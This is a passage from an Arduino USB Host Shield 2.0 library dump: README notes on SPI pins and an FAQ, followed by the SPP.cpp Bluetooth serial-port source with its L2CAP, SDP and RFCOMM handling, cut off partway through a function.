[USB_MIDI_converter_multi.ino](examples/USBH_MIDI/USB_MIDI_converter_multi/USB_MIDI_converter_multi.ino) For information see the following page: . # Interface modifications The shield is using SPI for communicating with the MAX3421E USB host controller. It uses the SCK, MISO and MOSI pins via the ICSP on your board. Note this means that it uses pin 13, 12, 11 on an Arduino Uno, so these pins can not be used for anything else than SPI communication! Furthermore it uses one pin as SS and one INT pin. These are by default located on pin 10 and 9 respectively. They can easily be reconfigured in case you need to use them for something else by cutting the jumper on the shield and then solder a wire from the pad to the new pin. After that you need modify the following entry in [UsbCore.h](UsbCore.h): ```C++ typedef MAX3421e MAX3421E; ``` For instance if you have rerouted SS to pin 7 it should read: ```C++ typedef MAX3421e MAX3421E; ``` See the "Interface modifications" section in the [hardware manual](https://www.circuitsathome.com/usb-host-shield-hardware-manual) for more information. # FAQ > When I plug my device into the USB connector nothing happens? * Try to connect a external power supply to the Arduino - this solves the problem in most cases. * You can also use a powered hub between the device and the USB Host Shield. You should then include the USB hub library: ```#include ``` and create the instance like so: ```USBHub Hub1(&Usb);```. > When I connecting my PS3 controller I get a output like this: ``` Dualshock 3 Controller Enabled LeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0 LeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0 LeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0 LeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0 LeftHatX: 0 LeftHatY: 0 RightHatX: 0 RightHatY: 0 ``` * This means that your dongle does not support 2.0+EDR, so you will need another dongle. Please see the following [list](https://github.com/felis/USB_Host_Shield_2.0/wiki/Bluetooth-dongles) for tested working dongles. > When compiling I am getting the following error: "fatal error: SPI.h: No such file or directory". * Please make sure to include the SPI library like so: ```#include ``` in your .ino file. ================================================ FILE: libraries/USB_Host_Shield_2.0/SPP.cpp ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "SPP.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data //#define PRINTREPORT // Uncomment to print the report sent to the Arduino /* * CRC (reversed crc) lookup table as calculated by the table generator in ETSI TS 101 369 V6.3.0. */ const uint8_t rfcomm_crc_table[256] PROGMEM = {/* reversed, 8-bit, poly=0x07 */ 0x00, 0x91, 0xE3, 0x72, 0x07, 0x96, 0xE4, 0x75, 0x0E, 0x9F, 0xED, 0x7C, 0x09, 0x98, 0xEA, 0x7B, 0x1C, 0x8D, 0xFF, 0x6E, 0x1B, 0x8A, 0xF8, 0x69, 0x12, 0x83, 0xF1, 0x60, 0x15, 0x84, 0xF6, 0x67, 0x38, 0xA9, 0xDB, 0x4A, 0x3F, 0xAE, 0xDC, 0x4D, 0x36, 0xA7, 0xD5, 0x44, 0x31, 0xA0, 0xD2, 0x43, 0x24, 0xB5, 0xC7, 0x56, 0x23, 0xB2, 0xC0, 0x51, 0x2A, 0xBB, 0xC9, 0x58, 0x2D, 0xBC, 0xCE, 0x5F, 0x70, 0xE1, 0x93, 0x02, 0x77, 0xE6, 0x94, 0x05, 0x7E, 0xEF, 0x9D, 0x0C, 0x79, 0xE8, 0x9A, 0x0B, 0x6C, 0xFD, 0x8F, 0x1E, 0x6B, 0xFA, 0x88, 0x19, 0x62, 0xF3, 0x81, 0x10, 0x65, 0xF4, 0x86, 0x17, 0x48, 0xD9, 0xAB, 0x3A, 0x4F, 0xDE, 0xAC, 0x3D, 0x46, 0xD7, 0xA5, 0x34, 0x41, 0xD0, 0xA2, 0x33, 0x54, 0xC5, 0xB7, 0x26, 0x53, 0xC2, 0xB0, 0x21, 0x5A, 0xCB, 0xB9, 0x28, 0x5D, 0xCC, 0xBE, 0x2F, 0xE0, 0x71, 0x03, 0x92, 0xE7, 0x76, 0x04, 0x95, 0xEE, 0x7F, 0x0D, 0x9C, 0xE9, 0x78, 0x0A, 0x9B, 0xFC, 0x6D, 0x1F, 0x8E, 0xFB, 0x6A, 0x18, 0x89, 0xF2, 0x63, 0x11, 0x80, 0xF5, 0x64, 0x16, 0x87, 0xD8, 0x49, 0x3B, 0xAA, 0xDF, 0x4E, 0x3C, 0xAD, 0xD6, 0x47, 0x35, 0xA4, 0xD1, 0x40, 0x32, 0xA3, 0xC4, 0x55, 0x27, 0xB6, 0xC3, 0x52, 0x20, 0xB1, 0xCA, 0x5B, 0x29, 0xB8, 0xCD, 0x5C, 0x2E, 0xBF, 0x90, 0x01, 0x73, 0xE2, 0x97, 0x06, 0x74, 0xE5, 0x9E, 0x0F, 0x7D, 0xEC, 0x99, 0x08, 0x7A, 0xEB, 0x8C, 0x1D, 0x6F, 0xFE, 0x8B, 0x1A, 0x68, 0xF9, 0x82, 0x13, 0x61, 0xF0, 0x85, 0x14, 0x66, 0xF7, 0xA8, 0x39, 0x4B, 0xDA, 0xAF, 0x3E, 0x4C, 0xDD, 0xA6, 0x37, 0x45, 0xD4, 0xA1, 0x30, 0x42, 0xD3, 0xB4, 0x25, 0x57, 0xC6, 0xB3, 0x22, 0x50, 0xC1, 0xBA, 0x2B, 0x59, 0xC8, 0xBD, 0x2C, 0x5E, 0xCF }; SPP::SPP(BTD *p, const char* name, const char* pin) : BluetoothService(p) // Pointer to BTD class instance - mandatory { pBtd->btdName = name; pBtd->btdPin = pin; /* Set device cid for the SDP and RFCOMM channelse */ sdp_dcid[0] = 0x50; // 0x0050 sdp_dcid[1] = 0x00; rfcomm_dcid[0] = 0x51; // 0x0051 rfcomm_dcid[1] = 0x00; Reset(); } void SPP::Reset() { connected = false; RFCOMMConnected = false; SDPConnected = false; waitForLastCommand = false; l2cap_sdp_state = L2CAP_SDP_WAIT; l2cap_rfcomm_state = L2CAP_RFCOMM_WAIT; l2cap_event_flag = 0; sppIndex = 0; creditSent = false; } void SPP::disconnect() { connected = false; // First the two L2CAP channels has to be disconnected and then the HCI connection if(RFCOMMConnected) pBtd->l2cap_disconnection_request(hci_handle, ++identifier, rfcomm_scid, rfcomm_dcid); if(RFCOMMConnected && SDPConnected) delay(1); // Add delay between commands if(SDPConnected) pBtd->l2cap_disconnection_request(hci_handle, ++identifier, sdp_scid, sdp_dcid); l2cap_sdp_state = L2CAP_DISCONNECT_RESPONSE; } void SPP::ACLData(uint8_t* l2capinbuf) { if(!connected) { if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) { if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == SDP_PSM && !pBtd->sdpConnectionClaimed) { pBtd->sdpConnectionClaimed = true; hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection l2cap_sdp_state = L2CAP_SDP_WAIT; // Reset state } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == RFCOMM_PSM && !pBtd->rfcommConnectionClaimed) { pBtd->rfcommConnectionClaimed = true; hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection l2cap_rfcomm_state = L2CAP_RFCOMM_WAIT; // Reset state } } } if(checkHciHandle(l2capinbuf, hci_handle)) { // acl_handle_ok if((l2capinbuf[6] | (l2capinbuf[7] << 8)) == 0x0001U) { // l2cap_control - Channel ID for ACL-U if(l2capinbuf[8] == L2CAP_CMD_COMMAND_REJECT) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nL2CAP Command Rejected - Reason: "), 0x80); D_PrintHex (l2capinbuf[13], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[12], 0x80); Notify(PSTR(" Data: "), 0x80); D_PrintHex (l2capinbuf[17], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[16], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[15], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[14], 0x80); #endif } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) { #ifdef EXTRADEBUG Notify(PSTR("\r\nL2CAP Connection Request - PSM: "), 0x80); D_PrintHex (l2capinbuf[13], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[12], 0x80); Notify(PSTR(" SCID: "), 0x80); D_PrintHex (l2capinbuf[15], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[14], 0x80); Notify(PSTR(" Identifier: "), 0x80); D_PrintHex (l2capinbuf[9], 0x80); #endif if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == SDP_PSM) { // It doesn't matter if it receives another reqeust, since it waits for the channel to disconnect in the L2CAP_SDP_DONE state, and the l2cap_event_flag will be cleared if so identifier = l2capinbuf[9]; sdp_scid[0] = l2capinbuf[14]; sdp_scid[1] = l2capinbuf[15]; l2cap_set_flag(L2CAP_FLAG_CONNECTION_SDP_REQUEST); } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == RFCOMM_PSM) { // ----- || ----- identifier = l2capinbuf[9]; rfcomm_scid[0] = l2capinbuf[14]; rfcomm_scid[1] = l2capinbuf[15]; l2cap_set_flag(L2CAP_FLAG_CONNECTION_RFCOMM_REQUEST); } } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_RESPONSE) { if((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) { // Success if(l2capinbuf[12] == sdp_dcid[0] && l2capinbuf[13] == sdp_dcid[1]) { //Notify(PSTR("\r\nSDP Configuration Complete"), 0x80); l2cap_set_flag(L2CAP_FLAG_CONFIG_SDP_SUCCESS); } else if(l2capinbuf[12] == rfcomm_dcid[0] && l2capinbuf[13] == rfcomm_dcid[1]) { //Notify(PSTR("\r\nRFCOMM Configuration Complete"), 0x80); l2cap_set_flag(L2CAP_FLAG_CONFIG_RFCOMM_SUCCESS); } } } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_REQUEST) { if(l2capinbuf[12] == sdp_dcid[0] && l2capinbuf[13] == sdp_dcid[1]) { //Notify(PSTR("\r\nSDP Configuration Request"), 0x80); pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], sdp_scid); } else if(l2capinbuf[12] == rfcomm_dcid[0] && l2capinbuf[13] == rfcomm_dcid[1]) { //Notify(PSTR("\r\nRFCOMM Configuration Request"), 0x80); pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], rfcomm_scid); } } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_REQUEST) { if(l2capinbuf[12] == sdp_dcid[0] && l2capinbuf[13] == sdp_dcid[1]) { //Notify(PSTR("\r\nDisconnect Request: SDP Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_SDP_REQUEST); } else if(l2capinbuf[12] == rfcomm_dcid[0] && l2capinbuf[13] == rfcomm_dcid[1]) { //Notify(PSTR("\r\nDisconnect Request: RFCOMM Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_RFCOMM_REQUEST); } } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_RESPONSE) { if(l2capinbuf[12] == sdp_scid[0] && l2capinbuf[13] == sdp_scid[1]) { //Notify(PSTR("\r\nDisconnect Response: SDP Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_RESPONSE); } else if(l2capinbuf[12] == rfcomm_scid[0] && l2capinbuf[13] == rfcomm_scid[1]) { //Notify(PSTR("\r\nDisconnect Response: RFCOMM Channel"), 0x80); identifier = l2capinbuf[9]; l2cap_set_flag(L2CAP_FLAG_DISCONNECT_RESPONSE); } } else if(l2capinbuf[8] == L2CAP_CMD_INFORMATION_REQUEST) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nInformation request"), 0x80); #endif identifier = l2capinbuf[9]; pBtd->l2cap_information_response(hci_handle, identifier, l2capinbuf[12], l2capinbuf[13]); } #ifdef EXTRADEBUG else { Notify(PSTR("\r\nL2CAP Unknown Signaling Command: "), 0x80); D_PrintHex (l2capinbuf[8], 0x80); } #endif } else if(l2capinbuf[6] == sdp_dcid[0] && l2capinbuf[7] == sdp_dcid[1]) { // SDP if(l2capinbuf[8] == SDP_SERVICE_SEARCH_ATTRIBUTE_REQUEST_PDU) { if(((l2capinbuf[16] << 8 | l2capinbuf[17]) == SERIALPORT_UUID) || ((l2capinbuf[16] << 8 | l2capinbuf[17]) == 0x0000 && (l2capinbuf[18] << 8 | l2capinbuf[19]) == SERIALPORT_UUID)) { // Check if it's sending the full UUID, see: https://www.bluetooth.org/Technical/AssignedNumbers/service_discovery.htm, we will just check the first four bytes if(firstMessage) { serialPortResponse1(l2capinbuf[9], l2capinbuf[10]); firstMessage = false; } else { serialPortResponse2(l2capinbuf[9], l2capinbuf[10]); // Serialport continuation state firstMessage = true; } } else if(((l2capinbuf[16] << 8 | l2capinbuf[17]) == L2CAP_UUID) || ((l2capinbuf[16] << 8 | l2capinbuf[17]) == 0x0000 && (l2capinbuf[18] << 8 | l2capinbuf[19]) == L2CAP_UUID)) { if(firstMessage) { l2capResponse1(l2capinbuf[9], l2capinbuf[10]); firstMessage = false; } else { l2capResponse2(l2capinbuf[9], l2capinbuf[10]); // L2CAP continuation state firstMessage = true; } } else serviceNotSupported(l2capinbuf[9], l2capinbuf[10]); // The service is not supported #ifdef EXTRADEBUG Notify(PSTR("\r\nUUID: "), 0x80); uint16_t uuid; if((l2capinbuf[16] << 8 | l2capinbuf[17]) == 0x0000) // Check if it's sending the UUID as a 128-bit UUID uuid = (l2capinbuf[18] << 8 | l2capinbuf[19]); else // Short UUID uuid = (l2capinbuf[16] << 8 | l2capinbuf[17]); D_PrintHex (uuid, 0x80); Notify(PSTR("\r\nLength: "), 0x80); uint16_t length = l2capinbuf[11] << 8 | l2capinbuf[12]; D_PrintHex (length, 0x80); Notify(PSTR("\r\nData: "), 0x80); for(uint8_t i = 0; i < length; i++) { D_PrintHex (l2capinbuf[13 + i], 0x80); Notify(PSTR(" "), 0x80); } #endif } #ifdef EXTRADEBUG else { Notify(PSTR("\r\nUnknown PDU: "), 0x80); D_PrintHex (l2capinbuf[8], 0x80); } #endif } else if(l2capinbuf[6] == rfcomm_dcid[0] && l2capinbuf[7] == rfcomm_dcid[1]) { // RFCOMM rfcommChannel = l2capinbuf[8] & 0xF8; rfcommDirection = l2capinbuf[8] & 0x04; rfcommCommandResponse = l2capinbuf[8] & 0x02; rfcommChannelType = l2capinbuf[9] & 0xEF; rfcommPfBit = l2capinbuf[9] & 0x10; if(rfcommChannel >> 3 != 0x00) rfcommChannelConnection = rfcommChannel; #ifdef EXTRADEBUG Notify(PSTR("\r\nRFCOMM Channel: "), 0x80); D_PrintHex (rfcommChannel >> 3, 0x80); Notify(PSTR(" Direction: "), 0x80); D_PrintHex (rfcommDirection >> 2, 0x80); Notify(PSTR(" CommandResponse: "), 0x80); D_PrintHex (rfcommCommandResponse >> 1, 0x80); Notify(PSTR(" ChannelType: "), 0x80); D_PrintHex (rfcommChannelType, 0x80); Notify(PSTR(" PF_BIT: "), 0x80); D_PrintHex (rfcommPfBit, 0x80); #endif if(rfcommChannelType == RFCOMM_DISC) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReceived Disconnect RFCOMM Command on channel: "), 0x80); D_PrintHex (rfcommChannel >> 3, 0x80); #endif connected = false; sendRfcomm(rfcommChannel, rfcommDirection, rfcommCommandResponse, RFCOMM_UA, rfcommPfBit, rfcommbuf, 0x00); // UA Command } if(connected) { /* Read the incoming message */ if(rfcommChannelType == RFCOMM_UIH && rfcommChannel == rfcommChannelConnection) { uint8_t length = l2capinbuf[10] >> 1; // Get length uint8_t offset = l2capinbuf[4] - length - 4; // Check if there is credit if(checkFcs(&l2capinbuf[8], l2capinbuf[11 + length + offset])) { uint8_t i = 0; for(; i < length; i++) { if(rfcommAvailable + i >= sizeof (rfcommDataBuffer)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nWarning: Buffer is full!"), 0x80); #endif break; } rfcommDataBuffer[rfcommAvailable + i] = l2capinbuf[11 + i + offset]; } rfcommAvailable += i; #ifdef EXTRADEBUG Notify(PSTR("\r\nRFCOMM Data Available: "), 0x80); Notify(rfcommAvailable, 0x80); if(offset) { Notify(PSTR(" - Credit: 0x"), 0x80); D_PrintHex (l2capinbuf[11], 0x80); } #endif } #ifdef DEBUG_USB_HOST else Notify(PSTR("\r\nError in FCS checksum!"), 0x80); #endif #ifdef PRINTREPORT // Uncomment "#define PRINTREPORT" to print the report send to the Arduino via Bluetooth for(uint8_t i = 0; i < length; i++) Notifyc(l2capinbuf[i + 11 + offset], 0x80); #endif } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_RPN_CMD) { // UIH Remote Port Negotiation Command #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReceived UIH Remote Port Negotiation Command"), 0x80); #endif rfcommbuf[0] = BT_RFCOMM_RPN_RSP; // Command rfcommbuf[1] = l2capinbuf[12]; // Length and shiftet like so: length << 1 | 1 rfcommbuf[2] = l2capinbuf[13]; // Channel: channel << 1 | 1 rfcommbuf[3] = l2capinbuf[14]; // Pre difined for Bluetooth, see 5.5.3 of TS 07.10 Adaption for RFCOMM rfcommbuf[4] = l2capinbuf[15]; // Priority rfcommbuf[5] = l2capinbuf[16]; // Timer rfcommbuf[6] = l2capinbuf[17]; // Max Fram Size LSB rfcommbuf[7] = l2capinbuf[18]; // Max Fram Size MSB rfcommbuf[8] = l2capinbuf[19]; // MaxRatransm. rfcommbuf[9] = l2capinbuf[20]; // Number of Frames sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x0A); // UIH Remote Port Negotiation Response } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_MSC_CMD) { // UIH Modem Status Command #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend UIH Modem Status Response"), 0x80); #endif rfcommbuf[0] = BT_RFCOMM_MSC_RSP; // UIH Modem Status Response rfcommbuf[1] = 2 << 1 | 1; // Length and shiftet like so: length << 1 | 1 rfcommbuf[2] = l2capinbuf[13]; // Channel: (1 << 0) | (1 << 1) | (0 << 2) | (channel << 3) rfcommbuf[3] = l2capinbuf[14]; sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x04); } } else { if(rfcommChannelType == RFCOMM_SABM) { // SABM Command - this is sent twice: once for channel 0 and then for the channel to establish #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReceived SABM Command"), 0x80); #endif sendRfcomm(rfcommChannel, rfcommDirection, rfcommCommandResponse, RFCOMM_UA, rfcommPfBit, rfcommbuf, 0x00); // UA Command } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_PN_CMD) { // UIH Parameter Negotiation Command #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReceived UIH Parameter Negotiation Command"), 0x80); #endif rfcommbuf[0] = BT_RFCOMM_PN_RSP; // UIH Parameter Negotiation Response rfcommbuf[1] = l2capinbuf[12]; // Length and shiftet like so: length << 1 | 1 rfcommbuf[2] = l2capinbuf[13]; // Channel: channel << 1 | 1 rfcommbuf[3] = 0xE0; // Pre difined for Bluetooth, see 5.5.3 of TS 07.10 Adaption for RFCOMM rfcommbuf[4] = 0x00; // Priority rfcommbuf[5] = 0x00; // Timer rfcommbuf[6] = BULK_MAXPKTSIZE - 14; // Max Fram Size LSB - set to the size of received data (50) rfcommbuf[7] = 0x00; // Max Fram Size MSB rfcommbuf[8] = 0x00; // MaxRatransm. rfcommbuf[9] = 0x00; // Number of Frames sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x0A); } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_MSC_CMD) { // UIH Modem Status Command #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend UIH Modem Status Response"), 0x80); #endif rfcommbuf[0] = BT_RFCOMM_MSC_RSP; // UIH Modem Status Response rfcommbuf[1] = 2 << 1 | 1; // Length and shiftet like so: length << 1 | 1 rfcommbuf[2] = l2capinbuf[13]; // Channel: (1 << 0) | (1 << 1) | (0 << 2) | (channel << 3) rfcommbuf[3] = l2capinbuf[14]; sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x04); delay(1); #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend UIH Modem Status Command"), 0x80); #endif rfcommbuf[0] = BT_RFCOMM_MSC_CMD; // UIH Modem Status Command rfcommbuf[1] = 2 << 1 | 1; // Length and shiftet like so: length << 1 | 1 rfcommbuf[2] = l2capinbuf[13]; // Channel: (1 << 0) | (1 << 1) | (0 << 2) | (channel << 3) rfcommbuf[3] = 0x8D; // Can receive frames (YES), Ready to Communicate (YES), Ready to Receive (YES), Incomig Call (NO), Data is Value (YES) sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x04); } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_MSC_RSP) { // UIH Modem Status Response if(!creditSent) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSend UIH Command with credit"), 0x80); #endif sendRfcommCredit(rfcommChannelConnection, rfcommDirection, 0, RFCOMM_UIH, 0x10, sizeof (rfcommDataBuffer)); // Send credit creditSent = true; timer = (uint32_t)millis(); waitForLastCommand = true; } } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[10] == 0x01) { // UIH Command with credit #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReceived UIH Command with credit"), 0x80); #endif } else if(rfcommChannelType == RFCOMM_UIH && l2capinbuf[11] == BT_RFCOMM_RPN_CMD) { // UIH Remote Port Negotiation Command #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nReceived UIH Remote Port Negotiation Command"), 0x80); #endif rfcommbuf[0] = BT_RFCOMM_RPN_RSP; // Command rfcommbuf[1] = l2capinbuf[12]; // Length and shiftet like so: length << 1 | 1 rfcommbuf[2] = l2capinbuf[13]; // Channel: channel << 1 | 1 rfcommbuf[3] = l2capinbuf[14]; // Pre difined for Bluetooth, see 5.5.3 of TS 07.10 Adaption for RFCOMM rfcommbuf[4] = l2capinbuf[15]; // Priority rfcommbuf[5] = l2capinbuf[16]; // Timer rfcommbuf[6] = l2capinbuf[17]; // Max Fram Size LSB rfcommbuf[7] = l2capinbuf[18]; // Max Fram Size MSB rfcommbuf[8] = l2capinbuf[19]; // MaxRatransm. rfcommbuf[9] = l2capinbuf[20]; // Number of Frames sendRfcomm(rfcommChannel, rfcommDirection, 0, RFCOMM_UIH, rfcommPfBit, rfcommbuf, 0x0A); // UIH Remote Port Negotiation Response #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nRFCOMM Connection is now established\r\n"), 0x80); #endif onInit(); } #ifdef EXTRADEBUG else if(rfcommChannelType != RFCOMM_DISC) { Notify(PSTR("\r\nUnsupported RFCOMM Data - ChannelType: "), 0x80); D_PrintHex (rfcommChannelType, 0x80); Notify(PSTR(" Command: "), 0x80); D_PrintHex (l2capinbuf[11], 0x80); } #endif } } #ifdef EXTRADEBUG else { Notify(PSTR("\r\nUnsupported L2CAP Data - Channel ID: "), 0x80); D_PrintHex (l2capinbuf[7], 0x80); Notify(PSTR(" "), 0x80); D_PrintHex (l2capinbuf[6], 0x80); } #endif SDP_task(); RFCOMM_task(); } } void SPP::Run() { if(waitForLastCommand && (int32_t)((uint32_t)millis() - timer) > 100) { // We will only wait 100ms and see if the UIH Remote Port Negotiation Command is send, as some deviced don't send it #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nRFCOMM Connection is now established - Automatic\r\n"), 0x80); #endif onInit(); } send(); // Send all bytes currently in the buffer } void SPP::onInit() { creditSent = false; waitForLastCommand = false; connected = true; // The RFCOMM channel is now established sppIndex = 0; if(pFuncOnInit) pFuncOnInit(); // Call the user function }; void SPP::SDP_task() { switch(l2cap_sdp_state) { case L2CAP_SDP_WAIT: if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_SDP_REQUEST)) { l2cap_clear_flag(L2CAP_FLAG_CONNECTION_SDP_REQUEST); // Clear flag #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSDP Incoming Connection Request"), 0x80); #endif pBtd->l2cap_connection_response(hci_handle, identifier, sdp_dcid, sdp_scid, PENDING); delay(1); pBtd->l2cap_connection_response(hci_handle, identifier, sdp_dcid, sdp_scid, SUCCESSFUL); identifier++; delay(1); pBtd->l2cap_config_request(hci_handle, identifier, sdp_scid); l2cap_sdp_state = L2CAP_SDP_SUCCESS; } else if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_SDP_REQUEST)) { l2cap_clear_flag(L2CAP_FLAG_DISCONNECT_SDP_REQUEST); // Clear flag SDPConnected = false; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnected SDP Channel"), 0x80); #endif pBtd->l2cap_disconnection_response(hci_handle, identifier, sdp_dcid, sdp_scid); } break; case L2CAP_SDP_SUCCESS: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_SDP_SUCCESS)) { l2cap_clear_flag(L2CAP_FLAG_CONFIG_SDP_SUCCESS); // Clear flag #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nSDP Successfully Configured"), 0x80); #endif firstMessage = true; // Reset bool SDPConnected = true; l2cap_sdp_state = L2CAP_SDP_WAIT; } break; case L2CAP_DISCONNECT_RESPONSE: // This is for both disconnection response from the RFCOMM and SDP channel if they were connected if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_RESPONSE)) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnected L2CAP Connection"), 0x80); #endif pBtd->hci_disconnect(hci_handle); hci_handle = -1; // Reset handle Reset(); } break; } } void SPP::RFCOMM_task() { switch(l2cap_rfcomm_state) { case L2CAP_RFCOMM_WAIT: if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_RFCOMM_REQUEST)) { l2cap_clear_flag(L2CAP_FLAG_CONNECTION_RFCOMM_REQUEST); // Clear flag #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nRFCOMM Incoming Connection Request"), 0x80); #endif pBtd->l2cap_connection_response(hci_handle, identifier, rfcomm_dcid, rfcomm_scid, PENDING); delay(1); pBtd->l2cap_connection_response(hci_handle, identifier, rfcomm_dcid, rfcomm_scid, SUCCESSFUL); identifier++; delay(1); pBtd->l2cap_config_request(hci_handle, identifier, rfcomm_scid); l2cap_rfcomm_state = L2CAP_RFCOMM_SUCCESS; } else if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_RFCOMM_REQUEST)) { l2cap_clear_flag(L2CAP_FLAG_DISCONNECT_RFCOMM_REQUEST); // Clear flag RFCOMMConnected = false; connected = false; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nDisconnected RFCOMM Channel"), 0x80); #endif pBtd->l2cap_disconnection_response(hci_handle, identifier, rfcomm_dcid, rfcomm_scid); } break; case L2CAP_RFCOMM_SUCCESS: if(l2cap_check_flag(L2CAP_FLAG_CONFIG_RFCOMM_SUCCESS)) { l2cap_clear_flag(L2CAP_FLAG_CONFIG_RFCOMM_SUCCESS); // Clear flag #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nRFCOMM Successfully Configured"), 0x80); #endif rfcommAvailable = 0; // Reset number of bytes available bytesRead = 0; // Reset number of bytes received RFCOMMConnected = true; l2cap_rfcomm_state = L2CAP_RFCOMM_WAIT; } break; } } /************************************************************/ /* SDP Commands */ /************************************************************/ void SPP::SDP_Command(uint8_t* data, uint8_t nbytes) { // See page 223 in the Bluetooth specs pBtd->L2CAP_Command(hci_handle, data, nbytes, sdp_scid[0], sdp_scid[1]); } void SPP::serviceNotSupported(uint8_t transactionIDHigh, uint8_t transactionIDLow) { // See page 235 in the Bluetooth specs l2capoutbuf[0] = SDP_SERVICE_SEARCH_ATTRIBUTE_RESPONSE_PDU; l2capoutbuf[1] = transactionIDHigh; l2capoutbuf[2] = transactionIDLow; l2capoutbuf[3] = 0x00; // MSB Parameter Length l2capoutbuf[4] = 0x05; // LSB Parameter Length = 5 l2capoutbuf[5] = 0x00; // MSB AttributeListsByteCount l2capoutbuf[6] = 0x02; // LSB AttributeListsByteCount = 2 /* Attribute ID/Value Sequence: */ l2capoutbuf[7] = 0x35; // Data element sequence - length in next byte l2capoutbuf[8] = 0x00; // Length = 0 l2capoutbuf[9] = 0x00; // No continuation state SDP_Command(l2capoutbuf, 10); } void SPP::serialPortResponse1(uint8_t transactionIDHigh, uint8_t transactionIDLow) { l2capoutbuf[0] = SDP_SERVICE_SEARCH_ATTRIBUTE_RESPONSE_PDU; l2capoutbuf[1] = transactionIDHigh; l2capoutbuf[2] = transactionIDLow; l2capoutbuf[3] = 0x00; // MSB Parameter Length l2capoutbuf[4] = 0x2B; // LSB Parameter Length = 43 l2capoutbuf[5] = 0x00; // MSB AttributeListsByteCount l2capoutbuf[6] = 0x26; // LSB AttributeListsByteCount = 38 /* Attribute ID/Value Sequence: */ l2capoutbuf[7] = 0x36; // Data element sequence - length in next two bytes l2capoutbuf[8] = 0x00; // MSB Length l2capoutbuf[9] = 0x3C; // LSB Length = 60 l2capoutbuf[10] = 0x36; // Data element sequence - length in next two bytes l2capoutbuf[11] = 0x00; // MSB 